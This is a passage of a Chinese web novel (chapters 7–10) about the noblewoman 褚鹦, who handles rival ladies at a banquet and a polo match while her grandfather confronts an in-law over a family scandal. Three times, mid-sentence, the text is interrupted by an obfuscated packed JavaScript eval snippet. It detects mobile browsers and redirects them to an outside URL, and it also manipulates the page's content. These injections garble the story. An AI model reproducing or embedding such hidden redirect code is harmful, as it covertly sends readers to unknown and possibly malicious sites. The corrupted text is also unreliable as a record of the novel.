眼见现在这架势是胡编乱造的好时机,褚鹦心里微微一定,故事张口就来:“我梦前览阅《灵飞经》,夜里通玄,登云飞仙,却见瑶枝新荔,海外嘉宾。有一峨冠博带者,自称灵宝之兄的玉宸道人,对我说灵宝已经前往太清天听道,他来替灵宝引渡凡人。” “我与那玉宸道人观看五洲四海,六合八荒,冯虚御风,飘飘然不知几万里。又观一年四季,五谷丰收,遍览人世百情。最后那玉宸道人推了我一下,临别赠歌曰‘云鹤乘风荡九天,青牛踏雾过重岩。尘寰万事随流水,心守无为便是仙。’,大笑而去。” “醒来后,我只觉耳目清新,前所未有,想来这就是仙人馈赠的嘉礼罢。” 一开始,众人还觉得褚鹦是在哗众取宠。 可在听到她吟诵的道歌后,他们瞬间对这故事信了大半。 一个十来岁的小娘子,怎么可能做得出来这样的道歌? 若褚家想要帮小娘子扬名,也不会在别家宴会上操作。 这根本不合情理嘛! 可褚鹦看中的,就是这一条不合情理。不合情理,她的胡言故事才有人相信;不合情理,她才能先声夺人,省得他人想起来奚落她的事。 她讨厌那些麻烦。 一番奇辞,褚鹦便把所有人的视线都吸引到了自己身上,还让沈细娘插不上嘴,失去了奚落死对头的机会。 沈细娘在心里恨恨想,现在你这么得意,是因为你还是褚家女郎。 等你与那兵家子相对无言的时候,你就无话可说了! 褚鹦很了解沈细娘这个单方面把自己视作死对头的家伙,应付完众人后,她越过人海,直接抓住沈娘子的手。 “细娘,不带我去看看桂花吗?” 凑到她耳朵边上说什么话! 熏得她耳朵怪热的! “阿母培育了新种,花瓣都是浅碧色的,我带你去瞧瞧吧,来日嫁到赵家,哪里看得到这样的盛景?” 让你没事找事非得找我,看我不好好笑话笑话你! 褚鹦满不在乎道:“我来沈家看啊,要不然去葛家看也好。是阿姨不欢迎我这恶客,还是诸葛家觉得我面目可憎?” “总不能是师妹你觉得我是你的死对头吧?” 死对头这种事,只可意会不可言传,褚五你怎么能直接说出来! 沈细娘被她气得要死,却只能气鼓鼓地带褚鹦去看桂花,任由褚鹦做了一首意境隽永、清新有趣的赏桂文字,临了还被骗走了一大堆桂花蜜、桂花糖和桂花糕。 她就说褚鹦是她死对头吧! 每次见到这该死的家伙,她都会损失好多好东西,还会被这恶客踩着扬名! 沈细娘好恨! 她发誓下次一定要恶狠狠的嘲笑褚鹦,绝对不会这样浮皮潦草地让褚鹦过关! 回家后,褚鹦向阿父阿母问安后回到三思楼。 拈起点心吃了一口,细腻绵密,还是原来的口感。 她满足地眯起了眼睛,像一只慵懒的猫儿一样,阿谷阿麦看着,只觉心中柔软,恨不得待自家娘子再好一些。 褚鹦的仆役,除了阿谷阿麦外,全都是家生子,只阿谷阿麦是从外面买来的。 外人都以为褚鹦买下阿谷阿麦是可怜孤女流民,是慈悲心肠,诚然,这是实情,但这并不是她买下阿谷阿麦的全部原因。 不是家生子,意味着在褚家无父无母,无牵无挂。 这样的人,对软弱的主子来说,可能是容易背叛的隐患。 对褚鹦这样的人来说,却是在府内半点牵挂都没有心腹。 经年过去,阿谷阿麦不但识文断字,还忠心耿耿,不知帮褚鹦办了多少事。 褚鹦投之以桃报之以李,不但给两个奴婢购买田土,还许诺未来子女前程,倒算是主仆佳话。 也怪不得阿谷阿麦挂心她。 “沈娘子有没有难为您?” 在家看家的阿麦忧心忡忡地问。 “细娘嘴硬心软,只是看不惯阿姨疼我罢了。她那点难为不足挂齿,接下来的宴会才是难打的仗呢!” “不论如何,我这样的将军,总不会被一群小兵欺负了去。明天去韦家,我倒要看看韦园儿有什么薄词讥我?” 每每看着娘子斗志昂扬的模样,阿谷和阿麦都会觉得生活充满希望。 好像什么阴霾都打不倒娘子一样。 更别说,褚家与赵家的婚姻算不得什么阴霾——这一切,本就是娘子苦心求来的。 求的不是赵家那位俊美的小郎君,而是足够让娘子运筹的财货,与二房光明璀璨的前程。 有些时候,她们两个都会遗憾娘子不是儿郎。 若不是女子身份限制,娘子必然拥有更远大的前程光景。 可每每听到这等话,娘子都会说:“生为女郎,是我命数。世道不公,怎能怨怼自家身份?你们这些小娘子,何必在这里怨天尤人呢?” “生下来就是女郎,也没什么不好的地方。你们是女郎所生,我家阿翁阿父所着锦绣是女郎所织。男儿保家卫国,值得敬重;女人孕育生命,难道还要被鄙视轻贱吗?” “我虽是女子,亦能精心筹谋,做事业,弄风云。可惜当今天子懦弱,否则入主天家,未尝不可效法吕邓故事!” 这样的话,虽然猖狂,但真是听了,就会让人感到精神振奋啊! 过了几日,褚鹦又去韦家参 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285503|182566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加马球会。 刚到看台,就听到韦家娘子在那里议论是豫州的马更好,还是建业的马更好。 这简直就是废话。 若都中能养骏马,边将们早就要不到豢养、购买骏马的钱财了。 褚鹦心里清楚,韦家娘子说这些话,不过是想要把话题扯到豫州上面去,好往下说说褚鹦婚姻的事。 最好能让褚鹦生气失态,那就更妙了。 与沈细娘不一样,韦园儿是真的恨褚鹦。 褚鹦一直都不清楚那王三到底哪里讨人喜欢了? 分明是个风流薄幸的废物,偏生有那么多人欢喜他。或许是因为他生的好看?可自己也生的不错啊。 褚鹦摸了摸自己的脸,她决定不站在这里听她们嘁嘁喳喳的风凉话。 找到韦夫人告辞后,褚鹦就换了打马球穿的衣衫护具,然后牵着赵煊前两日给她送来的桃花马阔步入场,扬声道:“尔等勿要忘记球场中英雄也!” 马球好手入场,球场里脑中只有胜利的球员们瞬间欢呼起来。 被欢迎的滋味可比被嘲讽的滋味好多了,褚鹦很享受站在人群中央被簇拥的感觉。 投骰分好队,激烈的马球赛开始了。 呼呼的风声与欢呼声在褚鹦耳边响起,比赛半场,她忽然在马上人立而起,一杆挥出中的,赢得满场喝彩。 看台的欢呼声愈发盛大,宛若雷霆,还有喜爱褚鹦的小娘子向她投掷香花。褚鹦倾身接过一朵粉红木槿,别再耳边,瞬间欢呼声更大了,还有小娘子羞红了脸。 而那场中的娘子,看起来愈发生机勃勃,美丽动人,宛若海棠醉日! 有喜欢褚鹦的就有讨厌她的人。 事实上,东道主韦园儿就是最讨厌褚鹦的人。 要不是想看看褚鹦的惨状,她根本不会邀请褚鹦来参加她母亲举办的宴会。 “得意什么,不是快要嫁到赵家去了吗?以后她是寒门宗妇,哪能和我等并列齐尊?” “豫州有这样宽阔的马球场吗?” “要我说,像褚五这样要强的女孩子,哪个儿郎会欢喜?” “偏生家中阿母阿姨爱她,还因她讽我,真是让我心中生恼。” “换了旁人遇到嫁到赵家这种惨剧,我必然会去温言细语宽慰抒怀。但褚五……还是算了吧,我和她可谈不到一起去。” 就在这些讨厌褚鹦的娘子聚在一起嘁嘁喳喳说小话时,褚鹦下场走到看台上,打破了这些背后私语。 她如此坦然,倒让说小话的人心里不自在了起来。 她本人却像是没有听到这些人的讥讽议论一般,对韦园儿说:“韦娘子,承让你家阿兄场上让我。” 忘了说了,韦园儿讨厌褚鹦的另一个原因,就是她家阿兄思慕褚鹦。 但褚家和韦家政见不和,褚蕴之不可能答应这桩婚事。因为这件事。韦家郎君已经闹过好几次了,甚至郁郁寡欢起来。 她当然不会喜欢褚鹦了。 褚鹦对韦园儿难看的脸色视若无睹,她站在韦园儿她们这些人不远处,摘下鬓边香花,斜斜插到暗色半臂中,然后朝不远处瞪视韦园儿等人的沈细娘招手大笑:“多谢师妹赐我香花!” 沈细娘的脸瞬间红得发烧。 她只是不忿韦团儿等人背后说人是非,太过小人,才不是欢喜打马球的俊俏娘子。 她的贪吃鬼死对头怎么可能俊俏! 于是她嘴硬道:“那是韦娘子给你的花,才不是我送你的!” 褚鹦满不在乎地笑道:“那就多谢韦娘子了。” 啊啊啊啊啊! 这个世界上怎么会有褚鹦和沈细娘这样讨人厌的人! 韦园儿快被她们两个给气死了。 8. 第 8 章 潇潇暮雨,明月高悬。 这样的三秋雨夜,本该漆黑一片,不见五指才对。偏生今晚乌云不蔽明月,造就了一张难得的天然画卷。 褚鹦被这景色吸引住心神,心血来潮出门览胜。 她披上浮光锦斗篷,撑着油纸伞,带着一群僮仆侍女出门游湖听雨赏月。 用她的话讲,就是众人与我出门,且让你家娘子附庸一次风雅! 就在褚鹦兴致勃勃,随口吟词作乐时,不知有多少妇人在家中议论着褚家五娘的风采。 沈家桂花会上玄词妙语,韦家马球会上英姿撩人,光是这副坦坦荡荡的姿态,就能看出褚鹦心中并无半点阴私愧怍。 想来王褚两家婚姻有变,与这女郎并无关系。 还有不少夫人感叹道,怪不得王家贵妇欢喜褚五,意欲聘娶为妇。光是面对姻缘剧变,依旧能够保持平和心态,甚至还能通过自己的风采,截断建业高门恶意诽谤议论的本事,就已经很难得了。 在其他几个当事人,比如说王荣,比如说赵煊,比如说匆匆与王家定亲的褚鹂,还在被人私下议论时,褚鹦她已经彻底抽身了。 这样的能耐,哪是自家小娘子能做到的?换了自家小娘子,遇到这种事,恐怕早就跑来哭泣,恳求阿父阿母帮忙了吧? 哪能像褚鹦那样从容? 夜雨琳琅,游船悠悠。 褚鹦坐在小舟上,不知怎的生出兴致,直接将自己素白的手掌探出十八骨青竹纸伞。 冰冷的雨一滴一滴落在手心,褚鹦感觉这很有趣:“夜雨砭人肌骨,我心里却欢喜。” “这点寒凉让我心静,我喜爱这种感觉。可这世上不知多少寒庶受尽寒凉之苦,想来,只有我这样的富贵膏粱才会作此闲情了吧。” 她的思维向来发散,想到这里,便接着前言吩咐道:“我不愿做‘何不食肉糜’的人,田庄谷物出产丰盈,今年冬天就开仓施粥吧。” 褚鹦的吩咐让财迷阿谷十分心痛。 她道:“娘子心善,可若只是施粥,小民怎能知晓这是娘子的慈悲?” “奴婢觉得,娘子可以聘请白马寺寒流抄单入京。他日施粥时,广为宣扬褚家慈悲良善。娘子美誉传世,也不算白费我家物力。” 钱都花了,总要留点好处吧? “阿谷所言,颇有子贡的风范。做善事不求名利,世道中人哪里愿意景从?这件事,就按照阿谷所说去办吧。” 言罢,褚鹦把手收了回来。 阿麦立即拿出柔软的巾帕为褚鹦擦干雨迹。 收好湿润的红罗巾帕,阿麦笑道:“阿谷与奴是俗世卑贱之人,哪有圣人的心胸韬略?要奴婢看,阿谷这小娘子不过是仓中狸奴,舍不得财货外流罢了。” “娘子的高誉,阿谷这家伙哪里当得了?” 褚鹦轻轻掐了掐阿麦柔软的脸颊,昵语道:“你这户中小妇,莫不是见不得姊妹受宠?” 阿谷阿麦都知道,娘子这是在开玩笑,因此并无半点惊惧之情,阿谷甚至还有兴致上前,与娘子一起“责打”阿麦。 口中还嚷着:“好哇,阿谷姐姐这是见不得我见宠于娘子,才有今日之言!我要罚你今晚为我洗脚!” 笑语喧腾,不过闺中之乐。可能有此闲情,足以证明褚鹦心里并无纷扰。 即便褚鹦答应嫁去赵家,褚家依旧免不了流言的诽谤。 不过褚蕴之与褚鹦达成的“交易”,还有他想要保住的清望,本就与世间流言没什么关系。 王褚联姻,王家看中的是褚鹦,现在新郎不变,新娘却有所更改。 若无阴私,怎会有如此人事情反复? 时人又怎么可能不议论呢? 皇家都晓得“防民之口甚于防川”的道理,更何况他们这些阶下之臣? 嘴巴生于他人身躯,不是褚家能管的。流言只是流言,翻不起什么大浪,朝廷相公,有谁没被污蔑过。 褚蕴之忧心的事,是褚定远,是赵元英,他担心他们要鱼死网破。 他担心褚定远激怒之下,会把褚鹂的丑事,会把褚家兄弟、父子失和的种种公之于众。 他担心赵元英婚姻不成,一怒之下对簿公堂,让褚家的颜面丢个干净。 只有这样的情况发生,褚家的百年清望才会有所损毁。若非如此,一二流言又算什么? 哪家没有思春的郎君娘子? 哪家没半点阴私勾当! 而褚蕴之会产生两难之情,不是不知道怎么压下褚定远,而是因为他爱重褚定远的才器,不忍让褚定远离心,更不愿让褚定远这个为家族牺牲过的儿子再次遭受损毁。 否则,白鹤坊大宅内,上下皆听命于褚蕴之一人,拿住褚定远夫妇,对褚蕴之来说易如反掌。 只是,犯错的褚鹂与多次让他失望的褚定方,有资格让他那么做吗? 褚鹦品透了褚蕴之的心思,所以才费尽心机对症下药,几番玩弄语言,终于破开了褚蕴之不愿扰乱长幼嫡庶传承秩序的迷障。 最终,褚蕴之中午抛弃了庸碌的褚定方,让事情重新回到正轨上来。 京中流言议论愈发沸沸汤汤的根本原因,是因为王褚两家匆匆约定了婚期,其实他们也不想这样做,但褚鹂已有两月身孕,这桩婚事哪还拖得下去? 继续拖延下去,等到褚鹂肚腹涨起,就不能掩丑遮羞了。 所以,在赵煊把赵元英奏请朝廷选派褚定远为东安太守的奏疏投入铜匮,在王正清下发把在盐渎做令尹的褚清调回凤阁的诏令后,王家就和褚家就已经定下了婚期。 而褚鹦,也是在这个时间段里,接连收到京中“伙伴”们的请柬。 不过,那些小娘子斗气的讥讽,褚鹦根本不会略萦心上。 或许,只有褚蕴之的言辞,长公主的眼色,才值得这位胆大包天的女郎时时琢磨,细细思量罢。 沈韦两家的雅集过后,与褚鹦有怨怼的女郎再没有为难褚鹦的了。 韦家娘子的前车之鉴,他们有目共睹,接下来就不必自取其辱了。 还有那沈家细娘! 原来她们还以为她与褚五是不共戴天的仇雠,没想到居然全是假的。 褚五打马球她还抛花,要是褚五是郎君,她是不是还要嫁给人家? 对此,韦园儿这个上当受骗者有话要讲。 沈家,沈细娘拍打几案,对侍女阿桃愤愤道:“该死!该死!褚五就是这样坏我名声的,她一定是要通过这样的方式,让老师和阿娘更加爱她英姿,厌我浅薄!” 阿桃很想说,褚五娘子没办法操纵娘子您的脑子!更没有办法逼着您给她掷花。 但在现实世界里,阿桃只能熟练地给炸毛猫咪顺毛。 “娘子说得对!下次再不给褚五娘子花糕了,还要狠狠地说赵家郎君的寒伧,说褚五娘子婚后的惨状!” 小侍女言辞狠厉,吓得沈细娘脑子有些短路,她们家阿桃什么时候这么凶了? 她只想压褚五一头,好笑话褚五,得到内心的满足,又不是要逼褚五去死! 怎么可以把事情做得那么绝? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285504|182566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >还有花糕! 褚五那娘子最是嘴馋,不给她吃,褚五再不来找她,生活岂不是大失情致? “算了,阿桃,你不要为我生气了。来日褚五远赴豫州,还有她好看的呢,那些美味花糕……还是给她送些,以后她就吃不到我家风味了!” 阿桃连声称是。 走出院子后,才憋不住笑,直接笑出声来。 她们家这位娘子啊,真是嘴硬心软。 有时候,她真希望她们家娘子能和褚五娘子一样有心眼。 那诸葛高门与沈家一般无二,户内计谋,不亚于庙堂风险。 娘子天真烂漫,能算计过婆母妯娌吗? 原本夫人还在庆幸,褚五娘子嫁在建业,能与娘子互相扶持问计。 若非如此,夫人不会待褚娘子那样友好亲切。 现在,褚五娘子说不定要远嫁豫州了。 真不知道以后娘子遇到事情,还能向谁叙问短长? 愁啊! 时光匆匆而逝,在赵煊办理进太学进学的手续、打理家宅时,王褚两家的婚事就已经开始操办起来。 因为前日丑事,这场婚礼亦十分草草。问名请期,皆是过场,须臾旋踵而成。 至于褚鹂及其母郑夫人,依旧不能被放出来的。 女子婚姻大事,母亲却“病重”不得出,郑夫人母族自会生疑。 郑夫人的母族与郑中书及文穆公一脉不是一家,但他们家同样是传世日久的河洛名门。 像他们这样的人家,怎么可能容许自家嫁出去的大族主母无缘无故折损? 而在褚定方这个婿子致仕后,郑家家主郑原终于坐不住了。 年月更转,人事变迁,褚家是郑家最要紧的姻亲,他那女儿婿子哪能有失? 因此他立即命人备车前往白鹤坊,打定主意要把道理辩个明白。 就算京中风言是真的,他那外孙女犯了大错,但那也是她自己的过错! 她母亲虽教养不善,也不至于志杰“病笃”了。 褚蕴之是国朝相公,但也没有这么霸道的道理! 乘坐宝车来褚家时,郑原怒气冲冲,觉得自家十分占理。 可离白鹤坊越近,郑原心里就越慌。 临到下车时,他的腿抖若筛糠,无人扶持,竟不能自立。 想想那些被褚蕴之弹倒的政敌,再想想构陷褚蕴之不成后腰斩于市的酷吏,郑原当即胆怯起来,恨不得像缩头乌龟一样缩回壳里。 他本就惧怕褚蕴之这个亲家的威严,今天被家中儿辈鼓噪得昏了头脑,这才出门,想要拯救家中女子。 现在大脑冷静下来,细细思量,郑原才发现,自己就不该过来。 无帖来访,便是恶客临门;这种行为,岂不失于礼义? 但是,就当他准备喊车夫回程时,他的车已经停了下来。 外面还传来了褚家家仆的声音。 “郑公来了?可有拜帖?” 郑原瞬间生出逃避心来,他根本不想回答褚家仆役的问题,只想赶紧离开。 而在郑原逃避神游的这几息里,那褚家仆役已经说完了接下来的话,没给郑原留半点余地。 “家中长者有言,亲族至此,纵无拜帖,亦能入告!还请郑公雅量,稍容我等入内通禀!” 听到这话,郑原眼前一黑。 完了,完了,全都完了! 他根本不知道该和褚蕴之说什么,更不敢和这擅长抽骨吸髓的笑面狐狸打交道! 他到底该怎么办啊! 9. 第 9 章 “郑公登临,我家真是蓬荜生辉。只四娘待嫁,怎么她外祖母未曾登门?” “难道是舅家听闻风言,厌见我家孙女?” 郑原颤颤巍巍把自己送上门,结果一见到褚蕴之,就被褚蕴之先声夺人了。 他本就惊惧,听到褚蕴之指责他后,更是不知所措,强自镇定道:“流言蜚语,不过市井俗音,岂入方家之耳?” “是我,是我!我思念我家女郎,不知可否与之相见?” “儿妇染疾,不能见爱于家长,唯恐传病于尊亲!你们父女,却是不方便相见。” 褚蕴之的回答十分利落,没有半分转圜的余地。 但郑原家里依仗着郑夫人这位势族宗妇,才能在建业都城里有几分颜面,听到褚蕴之的话,他焉有不惊慌的道理? 这胆怯老儿难得生出了几分豪迈之气:“相公明鉴,外孙女不对之处,那也是她自己的性情,不能全然见怪于父母。” “更何况,长幼嫡庶分明,才是世家传世的秩序,怎能因小事而乱?大郎已列四品清贵,退而致仕,岂不可惜?我郑家女儿,生于阀阅门第,更不能亡而无声……” 褚蕴之没料到他这软弱的亲家居然能做此壮声,但你郑原算什么东西,哪有资格议论我家家事? 他心情大坏,趋步来到郑原身前质问道:“恶客今日登门,到底所为何事?我用良言全你体面,偏你咄咄逼人,非要问及那戴罪妇人?” “我家与赵家论亲的事情,你家女子不是不知!当时为她相公还上救命恩情,成就美名不丢势位,她满口答应姻缘,与她相公一起求我,我才应许寒贵通婚。现在时日渐久,你家女子就可以忘记当年丑态了?” “郑氏诱导女儿勾引未来妹婿,又给女儿私通行方便,这就是你们家百年的家教?那我只能说郑氏一族真是无耻!” “查她罪实的过程中,我又查出你家女郎偷窃夫家,捐输母族,妒忌小妇,还暗害过我家未生的孩子,七出之条犯了个遍!” “顾忌两家颜面和阿江的名声,我才只把她幽禁佛堂!你心疼你家女郎,我亦爱怜我家儿孙!若郑翁没有雅量,不如与我家对簿公堂,到时我家直接休弃你家女儿,世道自有公论!更不会有老狗登我门上狺狺狂吠!” 褚蕴之的话完全就是侮辱。 郑原被气得面皮发烧,手指哆嗦:“褚蕴之!你怎么证明你说的是真的!我虽是白身,但还有一命是存!凭什么被你这样羞辱!” “我家女儿皎皎玉质,纯白无瑕,谁知不是你这公翁要废长立幼,这才罗织构陷!” “哼,郑女罪状,自有郑门心腹告知。” 褚蕴之话音刚落,就有忠仆拿人入内。 郑原细细打量,这些人全都是自家女儿的陪房。 他刚要问话,就听褚蕴之道:“与你家郎主叙礼,再好好讲讲你家娘子的罪情!” “省得你家郎主信不过我的良言,将我视作擅用门内私刑的小人!” 控制住郑氏后,褚蕴之派心腹前去审讯。 庭内娘子,见过罪凶狠的事情,不过是主母设计小娘落胎,哪是褚蕴之身边精悍健仆的对手? 三天三夜的审讯后,除了郑氏的奶娘不曾吐露隐秘,其他人全都竹筒倒豆子般检举郑氏的罪行。 而眼下,这些急于脱罪的奴婢七嘴八舌地向郑原叙述郑夫人是如何毒害家中小娘、如何偷窃府库的银钱、如何指使四娘勾引王家郎君的。 前后因果、时间、地点都细致入微,逻辑更是清晰,甚至还有物证,绝不是这些户下奴婢能想出来的谎言。 尤其是那些假账账本,上面还有他女儿的字迹! 证词和证据像刀剑一样刺向郑原,让郑原恨不得立即逃出褚家门庭! 怪不得女儿出手豪阔,原来不是褚家钱帛多得用不完,而是他家女儿变成了旁家门户的硕鼠! 怪不得褚蕴之如此羞辱。 换了他,恐怕早就亲手扼死儿媳! 郑原跪倒在地:“多谢相公全我家体面!今日恶客临门,是我郑家之过。我愿将褚家赠予我家的聘礼全数返还,唯求褚公不要走漏风声。” “就算不怜我郑家幼稚的名声,也请相公怜惜阿江的清名。” “我孙子有我疼爱,不用你这外祖父惺惺作态。还来的钱帛,一分一厘都不许少。至于名声的事,你且不用忧心,我家不会宣扬出去!你家不怕丢人,我们褚家还羞于有过这样一位宗妇!” 郑原终于把心放回肚子里。 他铁青着脸离开白鹤坊,至于那些户下奴婢的命运,他不在乎,更不会多管闲事。 有阿江在,他家那娘子还能留下一条命,这已经是不幸中的万幸了。 他还敢奢求什么? 因为褚蕴之与郑原的秘语,郑家没派人前来出席褚鹂的婚礼。 这一决定,让本就不热闹的婚礼愈发冷清起来。 褚江不在都中,几个长房庶子与褚鹂并不亲密,甚至颇有怨怼罅隙。 郑氏被禁足在佛堂里。 褚蕴之和二房的人根本不愿意赏光参礼。 最后为褚鹂送亲的,居然只有褚定方这个父亲。 外面是褚家族人摆出来的煊赫热闹,这是为了避免世人觉得褚家连婚姻仪礼都忘了;内里是父女相对无言,冷寂无声,心里已经把对方视作仇雠。 做父亲的恨女儿眼下错过佳婿、害他丢权失势。 做女儿的恨父亲不爱自己,二叔愿意庇护褚鹦,她父亲当年,却想都不想的就把她配给寒门! 她焉能不恨? 一开始引逗王荣,褚鹂以为自己最多失去丰厚嫁妆,谁能想到大房会因此失权? 可是,若不是父亲无能,丢了尹城,陷于胡寇之手,又怎么有后面这些事由? 始作俑者,其无后乎!父亲失权,也是他求仁得仁。 王郎爱慕她。 她还有一个孩子。 她的日子总会越来越好的。 在褚鹂冷冷清清出嫁时,褚鹦正在赵家的园子里面吃樱桃。 新鲜红润的樱桃上面挂着水珠,静悄悄躺在白玉盘里,褚鹦玉白的手指拈起樱桃,红与白交相辉映,赵煊看着,竟觉得目眩。 他错过眼,朗声道:“娘子华辞,光耀我家门户。煊万分欣喜,竟不知如何表达心中感激之情了。” 前些日子,王褚两家定下婚期,在婚礼前,褚定远和杜夫人夫妇把女儿送到了康乐坊别业小住。 他们不愿褚鹦看到王荣和褚鹂的婚礼触景伤情,遂把女儿送到别业小住,希望赵煊能纾解女儿心怀。 说是让赵煊纾解女儿心怀,自然是因为褚家别业距赵煊的新居很近。 而赵煊也不负众望,褚鹦刚搬过来,赵煊那边就送了暖居礼物和帖子过来。 “初闻淑媛前来,不胜自喜;可否登门拜访,探问芳仪?” 银钩铁画,笔力遒劲,这笔字还真是漂亮。 褚鹦没有拒绝未婚夫的讨好与试探。 她心里清楚,一见钟情的前提就是见色起意,可她对赵煊的好印象,不也建立在他的漂亮面孔与猿臂蜂腰上吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285505|182566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在几次愉快会见后,赵煊又邀请褚鹦过府游园。 询问赵煊能否邀请几位朋友过来赏玩赵园景致,并得到赵煊同意的答复后,褚鹦给许多闺秀下了帖子。 而在游园当日,她呼朋引伴,带着一大群阿姨侍女,前呼后拥,来到赵家观赏新园风景,顺便检查她们家接单的家仆有没有偷工减料,有没有把她这个新主子放在眼里。 褚鹦带着这么多人去赵家,是为了防止流言继续传播。 时下崇玄,对儒家礼教的崇拜不像前朝那么高。 有仆妇跟随,只要不逾礼,约定婚约的小儿女相见,算不上失礼。 若非如此,褚鹂也没机会和王荣见面。 但他们家刚出过名教差错,褚鹦觉得还是谨慎一点为妙。 省得行差踏错,带来诸多麻烦。 至少第一次去赵园,还是要带着沈细娘她们做见证的。 当然,还有韦园儿等人,也在受邀之列。 褚鹦不是没气性的泥菩萨,此前从容大度,不把讥讽放在心上,是为了各家体面,顺便宣扬自家宠辱不惊的名声。 现在见赵家园业丰美,褚鹦生出借此出气的念头。 褚家嫡支不盛,韦家则不同,当代韦家家长、宪台官长韦诏膝下有九个儿子。 韦园儿的父亲非嫡非长,他日分家析产,韦园儿一房得到的家产不会很多。 现在没分家,韦园儿还能仗着她的御史大夫大父逞威。 未来分家析产,韦园儿家里未必能置办起这样丰美的田园家业。 邀请韦园儿的用意,褚鹦在信中明示赵煊了。 她就是这样一个睚眦必报的娘子,日后嫁给赵煊,她还要兴张事业,绝对藏不住,更不想隐藏自己的秉性。 所以,不若提前告知赵煊这件事。 好看看这郎君能不能容得下她。 能写出一手风骨崚磳的字的郎君,绝非可以随便糊弄的傻子,她不提前通知,等韦园儿等人到了,赵煊也能看出她的用意。 与其遮遮掩掩,还不如大大方方的表明心迹。 赵煊的答复非常喜人。 在回信里,他这样写道:“娘子下嫁,是我家之幸。区区小事,何足挂齿?” “他日宾客登门,必配合娘子,一抒心中郁气。” 而在褚鹦带着朋友登门的那一天,赵煊他穿着一件鸦青色圆领袍,紫色蜀锦半臂,与褚鹦身上的紫色披帛互相呼应,显得他们愈发相配。 褚鹦笑吟吟介绍双方的身份,然后对格外光鲜亮丽的赵煊道:“麻烦赵郎君了。” “五娘的事,对我来说不是麻烦,你只管吩咐就好了。” 赵煊已经开始演上了。 但他到底是在演戏,还是在表达真情,又有谁分得清呢? 把众人迎进府中后,赵煊开始招待客人。 他又是带众人游览府中十景,又是说这些景色只有让五娘取名才不落俗套,又是暗示众人这宅邸是名王旧邸,占地三十亩。 最后他宣称道:“康乐坊宽敞舒适,但布置呆板,配不上名门闺质。我阿父从南豫来信,命我务必修好新宅,博取亲翁欢喜。” 他口中说亲翁,眼神却飘向褚鹦。 但凡长了眼睛的人,都能看出赵煊眼波中暗含的情意。 心爱褚鹦者因而心安。 心厌褚鹦者只得在心里恨恨地想,就是现在没成婚,这两人才能两相安好。 她们才不信,生活到一起后,褚鹦这个世家女能和赵煊那个兵家子谈到一起! 10. 第 10 章 因有美景,因有嘉宾,因有褚鹦和赵煊这对时下京都热议人物,赵园的雅集备受时人关注。 刚刚赵煊说感谢五娘华辞,指的是褚鹦在游园时做了一篇八百余字的辞赋。 这篇文章笔清新、韵律流畅,水平远超时人所传的王、余、邹、陆等名家,尤以“红粉暗随流水,园林渐觉清阴”[1]一句极妙。 待辞赋传出赵园,一时建业纸贵,《赵园赋》传遍京畿,赵家在康乐坊购置的这套大宅,也因褚鹦一鸣惊人的大作涨价五千贯。 涨价的原因很简单。 像赵煊这样有钱,出身又不清贵的人,通过花钱来吸引视线邀取名望是最惠而不费的选择,前晋的石崇不就是这样的人物吗? 这段时间,一直有人找赵煊,说自己愿意加钱购买康乐坊宅邸。 当然,赵煊不会卖就是了。 京中世家内眷人物更加可惜褚鹦明珠暗投。此前,褚鹦唯有佳语清谈、球场逞豪的令名,众人都觉得他们两人婚后过不到一起去。 今日褚鹦做出华国文章,他们更加觉得蒹葭难倚玉树。 这两人婚后,指不定会有多少怨怼呢! 白夫人心里更是懊悔,褚五这般优秀,自家那个孽障错过良缘,居然还美滋滋的! 不但如此,他还整日里欣喜自己即将迎娶新妇,没有半点愧疚之心,真真是好不要脸! 白夫人气得心口绞痛,直接命人把儿子拎到身前狠狠教训了一顿。 心里发狠道,等新妇进门,她一定要好好教导新妇什么叫做妇德妇功。 不求褚四比得上她妹妹,能为家族播扬名声,只求她安稳度日,不要行差踏错,丢了王家百年脸面! 王家发生的事情,与褚鹦无甚关联。 眼下,她待在赵园。 听到赵煊的话后,她咽下樱桃清甜的汁液,提出了自己想要的“报酬”。 “郎君愿意配合我纾解郁气,我还没给郎君报酬,怎么好意思向郎君索取珍物?” “而且这些时日,郎君送我的珍物和轻货已经很多了。若我继续索取,就太过贪婪啦。” 所谓轻货,是指那些便于运输,重量较轻,价值昂贵的物品。 譬如说翠羽裙、白狐裘、锦绣半臂、珍惜香料等等。 诸如此类,不一而足。 赵煊不知褚鹦会喜欢什么,就把东西送了个遍。 心中想,这些东西虽俗,但都很漂亮。 里面总会有褚五娘子喜欢的吧? 又暗自琢磨,褚鹦是他未来娘子,把东西给褚鹦,钱财不算外流。 他这样撒钱,可不是什么纨绔习气。 再说了,出豫时阿父不是和他说过,不要让褚家觉得赵家小气吗? 